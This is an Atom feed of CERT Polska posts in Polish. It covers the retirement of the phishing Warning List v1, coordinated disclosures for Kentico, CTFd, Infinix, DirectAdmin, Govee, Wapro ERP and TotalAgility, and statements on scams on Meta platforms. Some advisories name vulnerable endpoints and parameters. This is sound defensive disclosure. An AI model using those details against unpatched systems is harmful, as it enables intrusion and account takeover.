<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom"><title>CERT Polska</title><link href="https://cert.pl/" rel="alternate"></link><link href="https://cert.pl/atom.xml" rel="self"></link><id>https://cert.pl/</id><updated>2025-01-02T13:00:00+01:00</updated><subtitle>CERT.PL</subtitle><subtitle>CERT.PL</subtitle><entry><title>Wycofanie pierwszej wersji Listy Ostrzeżeń przed niebezpiecznymi stronami</title><link href="https://cert.pl/posts/2025/01/wycofanie-pierwszej-wersji-listy/" rel="alternate"></link><published>2025-01-02T13:00:00+01:00</published><updated>2025-01-02T13:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2025-01-02:/posts/2025/01/wycofanie-pierwszej-wersji-listy/</id><summary type="html">Ponad rok temu zaczęliśmy publikować listy domen w nowym formacie. Z dniem 1 czerwca 2025 r. zostanie wycofana pierwsza wersja Listy Ostrzeżeń przed niebezpiecznymi stronami.</summary><content type="html">&lt;script src="/theme/assets/js/chart.js"&gt;&lt;/script&gt;

&lt;p&gt;Lista Ostrzeżeń przed niebezpiecznymi stronami wkrótce będzie obchodziła swoje piąte urodziny. Przez ten czas stała się naszym najefektywniejszym narzędziem do walki ze stronami phishingowymi i powstrzymała miliony prób wejść na niebezpieczne strony.&lt;/p&gt;
&lt;p&gt;Ponad rok temu zaczęliśmy publikować listy domen w nowym formacie. Nowa, druga wersja pozwala nam na dokładniejsze blokowanie domen, rozwiązuje problem zablokowanych domen, które przechodzą w ręce nowych właścicieli oraz ułatwia integratorom regularne aktualizowanie.&lt;/p&gt;
&lt;div class="grid-x" style="margin-bottom: 2rem"&gt;
    &lt;canvas id="user-counts"&gt;&lt;/canvas&gt;
&lt;/div&gt;

&lt;h4&gt;&lt;strong&gt;1 czerwca 2025 r. przestaniemy udostępniać pierwszą wersję Listy Ostrzeżeń.&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;Następujące adresy nie będą już aktualizowane i zamiast tego będą przekierowywały za pomocą statusu &lt;code&gt;HTTP 301 Moved Permanently&lt;/code&gt; na odpowiadające adresy w nowszej wersji:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;https://hole.cert.pl/domains/domains.txt&lt;/code&gt; -&amp;gt; &lt;code&gt;https://hole.cert.pl/domains/v2/domains.txt&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;https://hole.cert.pl/domains/domains.csv&lt;/code&gt; -&amp;gt; &lt;code&gt;https://hole.cert.pl/domains/v2/domains.csv&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;https://hole.cert.pl/domains/domains.json&lt;/code&gt; -&amp;gt; &lt;code&gt;https://hole.cert.pl/domains/v2/domains.json&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;https://hole.cert.pl/domains/domains.xml&lt;/code&gt; -&amp;gt; &lt;code&gt;https://hole.cert.pl/domains/v2/domains.xml&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;https://hole.cert.pl/domains/domains_adblock.txt&lt;/code&gt; -&amp;gt; &lt;code&gt;https://hole.cert.pl/domains/v2/domains_adblock.txt&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;https://hole.cert.pl/domains/domains_hosts.txt&lt;/code&gt; -&amp;gt; &lt;code&gt;https://hole.cert.pl/domains/v2/domains_hosts.txt&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;https://hole.cert.pl/domains/domains_mikrotik.rsc&lt;/code&gt; -&amp;gt; &lt;code&gt;https://hole.cert.pl/domains/v2/domains_mikrotik.rsc&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Najważniejsze różnice między listą w wersji v1 i v2&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Schemat listy nie zmienia się – dla użytkowników poprawnie integrujących listę v1, jedyna wymagana zmiana to podmiana ścieżki z &lt;code&gt;/domains.xyz&lt;/code&gt; na &lt;code&gt;/v2/domains.xyz&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Lista w wersji v2 implementuje automatyczną retencję danych, to znaczy, że domeny są z niej usuwane po 6 miesiącach. Dlatego bardzo ważne jest, żeby w skryptach integracyjnych dbać nie tylko o dodawanie nowych domen z listy, ale także o usuwanie tych, których już na niej nie ma&lt;/li&gt;
&lt;li&gt;Lista w wersji v2 jest znacznie mniejsza, co uprości integrację i zwiększy wydajność&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Więcej informacji na temat List Ostrzeżeń przed niebezpiecznymi stronami znajduje się w &lt;a href="https://cert.pl/lista-ostrzezen/"&gt;głównym artykule&lt;/a&gt;. &lt;/p&gt;
&lt;script&gt;

const LABELS = ['2022-12', '2023-01', '2023-02', '2023-03', '2023-04', '2023-05', '2023-06', '2023-07', '2023-08', '2023-09', '2023-10', '2023-11', '2023-12', '2024-01', '2024-02', '2024-03', '2024-04', '2024-05', '2024-06', '2024-07', '2024-08', '2024-09', '2024-10', '2024-11', '2024-12'];
const DATA = [6722, 7318, 7838, 8538, 8920, 8365, 9191, 9980, 10229, 10860, 11583, 11957, 12433, 12964, 13472, 13768, 13933, 13822, 14304, 14262, 14358, 15079, 15408, 15696, 15968];

const COLORS = ["#54679B", "#4B9B7F", "#E6D370", "#D26681", "#CDDF6D", "#96CE64", "#CD6485", "#944A96", "#E6C070", "#69569E", "#8CCB63", "#E69770"];
{
    new Chart(document.getElementById("user-counts").getContext("2d"), {
        type: "line",
        options: {
            responsive: !0,
            plugins: {
                legend: {
                    display: !1
                },
                subtitle: {
                    display: !0,
                    text: "Średnia liczba integratorów Listy Ostrzeżeń"
                }
            },
            interaction: {
                intersect: !1,
                mode: "index"
            }
        },
        data: {
            labels: LABELS,
            datasets: [{
                label: "Średnia liczba integratorów",
                backgroundColor: ["#ecedee"],
                borderColor: ["#00750b"],
                borderWidth: 2,
                data: DATA,
                tension: .3
            }]
        }
    })
} 
&lt;/script&gt;</content><category term="News"></category><category term="phishing"></category><category term="lista"></category></entry><entry><title>Podatność w oprogramowaniu Kentico CMS</title><link href="https://cert.pl/posts/2025/01/CVE-2024-12907/" rel="alternate"></link><published>2025-01-02T12:00:00+01:00</published><updated>2025-01-02T12:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2025-01-02:/posts/2025/01/CVE-2024-12907/</id><summary type="html">W oprogramowaniu Kentico CMS wykryto podatność CVE-2024-12907 typu XSS (Cross-site Scripting).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu Kentico CMS i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;W niewspieranej od 2016 roku wersji 7 oprogramowania Kentico CMS występuje podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2024-12907"&gt;CVE-2024-12907&lt;/a&gt; typu Reflected XSS (Cross-site Scripting). Modyfikacja jednego z parametrów wysyłanych w żądaniach GET do endpointa &lt;code&gt;/CMSMessages/AccessDenied.aspx&lt;/code&gt; pozwala stworzyć link, który po kliknięciu przez użytkownika spowoduje uruchomienie skryptu w jego przeglądarce.&lt;/p&gt;
&lt;p&gt;Testy wykonane na wersji 8 Kentico CMS nie wykazały występowania podatności. Według informacji pozyskanych od producenta, wersja 7 nie jest wspierana od 2016 roku i klientom zaleca się aktualizację oprogramowania do wyższej wersji.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Michałowi Majchrowiczowi oraz Marcinowi Wyczechowskiemu z zespołu Afine.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatności w oprogramowaniu CTFd</title><link href="https://cert.pl/posts/2025/01/CVE-2024-11716/" rel="alternate"></link><published>2025-01-02T11:00:00+01:00</published><updated>2025-01-02T11:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2025-01-02:/posts/2025/01/CVE-2024-11716/</id><summary type="html">W oprogramowaniu CTFd wykryto 2 podatności (CVE-2024-11716 oraz CVE-2024-11717).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniu CTFd i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podczas gdy przypisanie użytkownika do zespołu (bracket) w CTFd powinno być możliwe tylko raz, podczas rejestracji, błąd w implementacji logiki pozwala uwierzytelnionemu użytkownikowi na zresetowanie swojej grupy i wybranie nowej. W rezultacie użytkownik może dołączyć do innej drużyny w trakcie trwania zawodów.&lt;br&gt;
Problem ten otrzymał identyfikator &lt;a href="https://www.cve.org/CVERecord?id=CVE-2024-11716"&gt;CVE-2024-11716&lt;/a&gt;. Dotyczy on wersji od 3.7.0 do 3.7.4 i został naprawiony przez &lt;a href="https://github.com/CTFd/CTFd/pull/2636"&gt;pull request 2636&lt;/a&gt;, uwzględnionym w wersji 3.7.5.&lt;/p&gt;
&lt;p&gt;Tokeny w CTFd używane do aktywacji konta i resetowania hasła mogą być używane zamiennie do obu operacji. Podczas użycia są one wysyłane do serwera jako parametr GET i nie są jednorazowe. Oznacza to, że w czasie ważności tokenu atakujący mający dostęp do transmisji danych lub historii przeglądarki może ponownie użyć takiego tokenu, aby zmienić hasło użytkownika i przejąć jego konto.&lt;br&gt;
Dodatkowo tokeny zawierają w sobie zakodowany w base64 adres e-mail użytkownika.&lt;br&gt;
Problem ten otrzymał identyfikator &lt;a href="https://www.cve.org/CVERecord?id=CVE-2024-11717"&gt;CVE-2024-11717&lt;/a&gt;. Dotyczy wszystkich wersji do 3.7.4 włącznie i został naprawiony przez &lt;a href="https://github.com/CTFd/CTFd/pull/2679"&gt;pull request 2679&lt;/a&gt;, uwzględnionym w wersji 3.7.5.&lt;/p&gt;
&lt;p&gt;Szczegóły techniczne znaleźć można w &lt;a href="https://seclists.org/fulldisclosure/2024/Dec/21"&gt;opisie przygotowanym przez znalazcę obu podatności&lt;/a&gt;. &lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Błażejowi Adamczykowi (efigo.pl).&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatność w aplikacji Weather Infinix Mobile</title><link href="https://cert.pl/posts/2024/12/CVE-2024-12993/" rel="alternate"></link><published>2024-12-30T12:00:00+01:00</published><updated>2024-12-30T12:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2024-12-30:/posts/2024/12/CVE-2024-12993/</id><summary type="html">W aplikacji com.rlk.weathers Infinix Mobile wykryto podatność CVE-2024-12993 umożliwiającą ujawnienie lokalizacji użytkownika.</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatności w aplikacji &lt;code&gt;com.rlk.weathers&lt;/code&gt; preinstalowanej na urządzeniach Infinix Mobile i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Urządzenia Infinix Mobile zawierają aplikację systemową &lt;code&gt;com.rlk.weathers&lt;/code&gt; zawierającą podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2024-12993"&gt;CVE-2024-12993&lt;/a&gt;, która poprzez niezabezpieczony komponent "Content provider" umożliwia komunikację i ujawnienie lokalizacji użytkownika bez wymaganych uprawnień systemu Android.&lt;/p&gt;
&lt;p&gt;Nie udało nam się skontaktować z producentem oprogramowania. Należy przypuszczać, że podatność występuje we wszystkich urządzeniach mobilnych firmy Infinix.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Szymonowi Chadamowi.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatność w oprogramowaniu DirectAdmin Evolution Skin</title><link href="https://cert.pl/posts/2024/12/CVE-2024-10385/" rel="alternate"></link><published>2024-12-20T12:00:00+01:00</published><updated>2024-12-20T12:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2024-12-20:/posts/2024/12/CVE-2024-10385/</id><summary type="html">W oprogramowaniu DirectAdmin Evolution Skin wykryto podatność CVE-2024-10385 typu XSS (Cross-site Scripting).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu DirectAdmin Evolution Skin i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;System zarządzania zgłoszeniami w DirectAdmin Evolution Skin zawierał podatność typu XSS (Cross-Site Scripting). Umożliwiało to użytkownikom o niskich uprawnieniach przechowywanie w zgłoszeniach szkodliwego kodu JavaScript. Jeśli administrator otworzył takie zgłoszenie, skrypt mógł wykorzystać wykonywać polecenia z jego uprawnieniami.&lt;/p&gt;
&lt;p&gt;Problem, oznaczony jako &lt;a href="https://www.cve.org/CVERecord?id=CVE-2024-10385"&gt;CVE-2024-10385&lt;/a&gt;, został rozwiązany w wersji 1.668 oprogramowania DirectAdmin Evolution Skin.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Dariuszowi Gońda.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatność w aplikacji Govee Home (Android &amp; iOS)</title><link href="https://cert.pl/posts/2024/12/CVE-2023-4617/" rel="alternate"></link><published>2024-12-19T12:00:00+01:00</published><updated>2024-12-19T12:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2024-12-19:/posts/2024/12/CVE-2023-4617/</id><summary type="html">W aplikacji mobilnej Govee Home na systemy Android i iOS wykryto podatność typu Incorrect Authorization (CVE-2023-4617).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu Govee Home i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2023-4617"&gt;CVE-2023-4617&lt;/a&gt; w autoryzacji opartej o metodę HTTP POST umożliwia zdalnemu atakującemu kontrolowanie urządzeń nienależących do niego poprzez zmianę wartości pól „device”, „sku” i „type” w treści żądań wysyłanych do serwera.
Ten problem dotyczy aplikacji Govee Home na Androida i iOS w wersjach wcześniejszych niż 5.9.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Janowi Adamskiemu oraz Markowi Janiszewskiemu z Zakładu Cyberbezpieczeństwa NASK.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatności w oprogramowaniu Wapro ERP Desktop firmy Asseco Business Solutions</title><link href="https://cert.pl/posts/2024/12/CVE-2024-4995/" rel="alternate"></link><published>2024-12-18T12:00:00+01:00</published><updated>2024-12-18T12:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2024-12-18:/posts/2024/12/CVE-2024-4995/</id><summary type="html">W oprogramowaniu Wapro ERP Desktop firmy Asseco Business Solutions wykryto 2 podatności (CVE-2024-4995 i CVE-2024-4996).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniu Wapro ERP Desktop firmy Asseco Business Solutions i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2024-4995"&gt;CVE-2024-4995&lt;/a&gt; pozwala na obniżenie wersji protokołu MS SQL do takiej, w której komunikacja jest nieszyfrowana. Aplikacja kliencka akceptuje takie żądanie nadchodzące ze strony serwera, co umożliwia podsłuchanie i modyfikację komunikacji. 
Ten problem dotyczy oprogramowania Wapro ERP Desktop do wersji 9.00.0.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2024-4996"&gt;CVE-2024-4996&lt;/a&gt; umożliwia uzyskanie dostępu do informacji przechowywanych w bazie danych. To samo, zakodowane na stałe hasło do specjalnego konta w bazie, jest używane we wszystkich podatnych instalacjach programu. 
Ten problem dotyczy oprogramowania Wapro ERP Desktop do wersji 8.90.0.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatności w oprogramowaniu Tungsten Automation TotalAgility</title><link href="https://cert.pl/posts/2024/12/CVE-2024-7874/" rel="alternate"></link><published>2024-12-06T12:00:00+01:00</published><updated>2024-12-06T12:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2024-12-06:/posts/2024/12/CVE-2024-7874/</id><summary type="html">W oprogramowaniu Tungsten Automation (Kofax) TotalAgility wykryto 2 podatności typu XSS (CVE-2024-7874 oraz CVE-2024-7875).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniu Tungsten Automation (poprzednio Kofax) TotalAgility i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Obie podatności &lt;a href="https://www.cve.org/CVERecord?id=CVE-2024-7874"&gt;CVE-2024-7874&lt;/a&gt; oraz &lt;a href="https://www.cve.org/CVERecord?id=CVE-2024-7875"&gt;CVE-2024-7875&lt;/a&gt; dotyczące oprogramowania TotalAgility w wersjach do 7.9.0.25.0.954 włącznie, pozwalają nieuwierzytelnionemu atakującemu na przeprowadzenie ataku typu Reflected XSS (Cross-site Scripting) poprzez odpowiednią modyfikację dwóch różnych parametrów: &lt;em&gt;mfpConnectionId&lt;/em&gt; w formularzu wysyłanym do endpointa &lt;code&gt;/TotalAgility/Kofax/BrowserDevice/ScanFront.aspx&lt;/code&gt;&lt;br&gt;
i &lt;code&gt;/TotalAgility/Kofax/BrowserDevice/ScanFrontDebug.aspx&lt;/code&gt; jak również parametru &lt;em&gt;mfpScreenResolutionWidth&lt;/em&gt; w formularzu wysyłanym do endpointa &lt;code&gt;/TotalAgility/Kofax/BrowserDevice/ScanFront.aspx&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Przeprowadzenie ataku wymaga wysłania żądania POST oraz znajomości poprawnego parametru VIEWSTATE. Oba te czynniki obniżają ryzyko wykorzystania podatności, choć należy mieć na uwadze, że wygenerowanie czy uzyskanie z serwera parametru VIEWSTATE nie stanowi większego problemu.&lt;/p&gt;
&lt;p&gt;Nasz zespół nie był w stanie skontaktować się z wytwórcą oprogramowania, w związku z czym szczegóły dot. CVE uzgodnione zostały jedynie ze zgłaszającymi.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy badaczom: Amin ACHOUR oraz Abderrahmane Bounhidja.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Oczekiwania CERT Polska dot. rozwiązania przez firmę Meta problemów z oszustwami na jej platformach społecznościowych.</title><link href="https://cert.pl/posts/2024/12/oczekiwania-wobec-meta/" rel="alternate"></link><published>2024-12-04T12:30:00+01:00</published><updated>2024-12-04T12:30:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2024-12-04:/posts/2024/12/oczekiwania-wobec-meta/</id><summary type="html">Materiał dotyczący oszustw na platformach jest już widoczny w serwisach firmy Meta, ale stanowisko CERT Polska pozostaje niezmienne. Potrzebujemy rozwiązań, które podniosą bezpieczeństwo Polaków.</summary><content type="html">&lt;p&gt;25 listopada na stronie CERT Polska została opublikowana analiza, która w kompleksowy sposób pokazuje, jak oszuści wykorzystują serwisy społecznościowe do okradania Polaków. Link do artykułu został zamieszczony także na platformie Facebook. W krótkim czasie od publikacji materiał został jednak usunięty. Podobny los spotykał artykuły przygotowane przez media, które zdecydowały się podjąć temat publikacji CERT Polska. Choć materiał został już ponownie opublikowany, a dzielenie się prowadzącym do niego linkiem jest już możliwe, to wyzwania związane z cyberbezpieczeństwem nie zniknęły.&lt;/p&gt;
&lt;p&gt;Na podstawie obserwacji dotyczących działań oszustów na platformach należących do Meta, CERT Polska postuluje o wprowadzenie rozwiązań, które przyczynią się do zmniejszenia ilości szkodliwych treści. Wśród najważniejszych zmian, które podniosą bezpieczeństwo użytkowników, należy wskazać:&lt;/p&gt;
&lt;h2&gt;• Sprawniejsze wykrywanie szkodliwych treści, także w języku polskim&lt;/h2&gt;
&lt;p&gt;Przez ostatnie miesiące wykryliśmy tysiące szkodliwych reklam oraz postów. Treści, przygotowane przez oszustów, zazwyczaj były dostępne po kilkanaście godzin, co ułatwiało dotarcie do potencjalnej ofiary.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Oczekujemy od firmy Meta przedstawienia planu wdrożenia skutecznego rozwiązania wykrywającego treści w języku polskim. Deklarujemy gotowość wzięcia udziału w grupie roboczej, w ramach której udostępnimy przykłady identyfikowanych przez nas treści.&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;• Zatrudnienie polskojęzycznych moderatorów&lt;/h2&gt;
&lt;p&gt;Problemem jest nie tylko niezadowalający czas wykrywania oszustw. Tak jak opisaliśmy w &lt;a href="/posts/2024/11/Oszustwa-reklamowe-na-duzych-platformach#reagowanie"&gt;artykule o oszustwach&lt;/a&gt;, zgłaszanie ewidentnie złośliwych treści przez użytkowników często kończy się brakiem reakcji. Podobny los spotyka także oszustwa zgłaszane przez nas lub naszych partnerów. Świadczy to o niewystarczającej liczbie polskojęzycznych moderatorów.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Oczekujemy zatem rozbudowy zespołu polskojęzycznych moderatorów, aby w pełni wykorzystać i docenić zaangażowanie partnerów oraz użytkowników zgłaszających oszustwa.&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;• Blokowanie użytkowników&lt;/h2&gt;
&lt;p&gt;Zdarza się, że dzięki determinacji zgłaszającego, dochodzi do usunięcia szkodliwej treści. Nie można uznać tego jednak za pełen sukces. Dzieje się tak, bo zazwyczaj konto, które zamieściło złośliwą reklamę czy post nadal funkcjonuje i kontynuuje swoją działalność publikując dokładnie te same treści.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Oczekujemy blokowania użytkowników, których reklamy i posty zostały kilkukrotnie oznaczone jako oszustwo.&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;• Integracja źródeł danych o wysokiej jakości&lt;/h2&gt;
&lt;p&gt;Samodzielny monitoring po stronie firmy Meta nie daje perspektyw na skuteczne zwalczanie oszustw na całym świecie. Najlepszym rozwiązaniem jest poszukiwanie partnerów posiadających wiedzę i kompetencje, a także znających lokalny kulturowy i gospodarczy kontekst. Z takimi partnerami można wymieniać się wiedzą i danymi, po to by lepiej dbać o bezpieczeństwo użytkowników. &lt;/p&gt;
&lt;p&gt;CERT Polska kompleksowo poszukuje zagrożeń w polskiej cyberprzestrzeni i udostępnia zaufane źródła danych, m.in. &lt;a href="https://cert.pl/lista-ostrzezen/"&gt;Listę Ostrzeżeń&lt;/a&gt;, w ramach której publikujemy zbiór domen ocenionych jako złośliwe. Każda domena przed wpisaniem na Listę jest weryfikowana przez analityków CSIRT NASK. Dzięki temu praktycznie wyeliminowaliśmy ryzyko niesłusznego zablokowania domeny. Aktualna zawartość Listy Ostrzeżeń jest zawsze &lt;a href="https://hole.cert.pl/domains/v2/"&gt;publicznie dostępna&lt;/a&gt;. Od września 2023 roku Lista funkcjonuje na mocy ustawy o zwalczaniu nadużyć w komunikacji elektronicznej. Zgodnie z art. 20 ust. 3 tej ustawy na Liście umieszczamy domeny internetowe, które za &lt;strong&gt;podstawowy&lt;/strong&gt; cel swojego działania mają wprowadzenie w błąd użytkowników internetu.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Oczekujemy, że Meta zacznie korzystać z Listy Ostrzeżeń i innych źródeł danych pochodzących od lokalnych partnerów, wyspecjalizowanych w wyszukiwaniu zagrożeń na danym rynku, aby usprawnić filtrowanie złośliwych linków zewnętrznych pojawiających się na ich platformach.&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;• Uporządkowanie biblioteki reklam&lt;/h2&gt;
&lt;p&gt;Meta udostępnia bibliotekę reklam &lt;a href="https://facebook.com/ads/library/"&gt;Ad Library&lt;/a&gt;, dzięki której zespoły takie jak CERT Polska mogą wyszukiwać reklamy oraz powiązane z nimi strony tworzone przez grupy przestępcze. Jest to bardzo istotny mechanizm zapewniający transparentność sieci reklamowych i dystrybuowanych w nich treści. Niestety, Ad Library nie zawsze dobrze odzwierciedla rzeczywiste treści prezentowane użytkownikom, co związane jest z nadużywaniem funkcji kreatora reklam np.: do tworzenia wielu wersji pojedynczej reklamy, publikowania długich filmów oszukujących filtry czy poprzez wyświetlanie innego linku niż rzeczywisty. Zauważyliśmy również opóźnienie w publikowaniu zmienionych reklam w Ad Library względem treści wyświetlanych użytkownikom, co utrudnia wyszukiwanie aktualnych zagrożeń.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Oczekujemy poprawienia transparentności i aktualności biblioteki reklam, aby uniemożliwić nadużywanie jej funkcjonalności do obchodzenia mechanizmów weryfikacji wykorzystywanych przez Meta.&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;Podsumowanie&lt;/h2&gt;
&lt;p&gt;Wszystkie wymienione wyżej problemy dotyczą nie tylko polskich użytkowników, zostały zaobserwowane również w innych krajach. Z tego powodu nie możemy zaakceptować argumentów o braku możliwości dostosowywania się do lokalnych rynków, które są podnoszone przez firmy działające na globalną skalę. Rozwiązanie powyższych kwestii poprawi bezpieczeństwo wszystkich użytkowników, nie tylko Polaków, bo wyzwania dotyczące cyberbezpieczeństwa mają przecież wymiar globalny.&lt;/p&gt;
&lt;p&gt;Powyższe oczekiwania dotyczące poprawy bezpieczeństwa użytkowników zostały przekazane przedstawicielom firmy Meta.&lt;/p&gt;</content><category term="News"></category></entry><entry><title>Podatność w oprogramowaniu urządzeń Infinix Mobile</title><link href="https://cert.pl/posts/2024/12/CVE-2024-10576/" rel="alternate"></link><published>2024-12-04T12:00:00+01:00</published><updated>2024-12-04T12:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2024-12-04:/posts/2024/12/CVE-2024-10576/</id><summary type="html">W aplikacji com.transsion.agingfunction instalowanej na urządzeniach Infinix Mobile wykryto podatność umożliwiającą nieautoryzowane przywrócenie urządzenia do ustawień fabrycznych (CVE-2024-10576).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatności w aplikacji &lt;code&gt;com.transsion.agingfunction&lt;/code&gt; preinstalowanej na urządzeniach Infinix Mobile  i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Urządzenia Infinix Mobile zawierają aplikację systemową &lt;code&gt;com.transsion.agingfunction&lt;/code&gt; zawierającą podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2024-10576"&gt;CVE-2024-10576&lt;/a&gt;, która poprzez niezabezpieczony odbiornik transmisji umożliwia atakującemu
komunikację i wykonanie resetu fabrycznego urządzenia bez wymaganych uprawnień systemu Android.&lt;/p&gt;
&lt;p&gt;Nie udało nam się skontaktować z producentem oprogramowania. Należy przypuszczać, że podatność występuje we wszystkich urządzeniach mobilnych firmy Infinix.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Szymonowi Chadamowi.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Stanowisko CERT Polska dot. ograniczania przez firmę Meta widoczności artykułu na temat oszustw na tej platformie.</title><link href="https://cert.pl/posts/2024/11/blokada-na-meta-stanowisko/" rel="alternate"></link><published>2024-11-29T19:28:00+01:00</published><updated>2024-11-29T19:28:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2024-11-29:/posts/2024/11/blokada-na-meta-stanowisko/</id><summary type="html">W odpowiedzi na coraz częstsze sygnały dotyczące ograniczania widoczności postów linkujących do opracowanej przez ekspertów CERT Polska analizy oszustw na platformach społecznościowych, chcemy podkreślić, że nie ma w nas zgody na takie działania.</summary><content type="html">&lt;style&gt;
.article .thumbnail {
    display: inline-block;
    margin: 0 0 5px 20px;
    float: right;
    width: 100%;
    max-width: 450px;
}

.article .centered-smaller {
    max-width: 800px;
    width: 100%;
    margin: auto;
}

.article .image-on-left {
    display: inline-block;
    margin: 5px 20px 1.25rem 0;
    float: left;
    width: 100%;
    max-width: 450px;
}

.article .image-on-right {
    display: inline-block;
    margin: 5px 0 1.25rem 20px;
    float: right;
    width: 100%;
    max-width: 450px;
}

.article .side-by-side.row {
    display: flex;
    clear: both;
}

.article .side-by-side .column {
    flex: 50%;
    padding: 5px;
}

.article .side-by-side .column-3-by-side {
    flex: 33%;
    padding: 5px;
}

.article .image-description {
    margin: 0 auto 10pt auto;
    text-align: center;
    font-style: italic;
}

@media (max-width: 479px) {
    .article .image-on-right {
        display: block;
        width: 100%;
        float: none;
        margin: 0;
        max-width: unset;
    }
    .article .image-on-left {
        display: block;
        width: 100%;
        float: none;
        margin: 0;
        max-width: unset;
    }
}
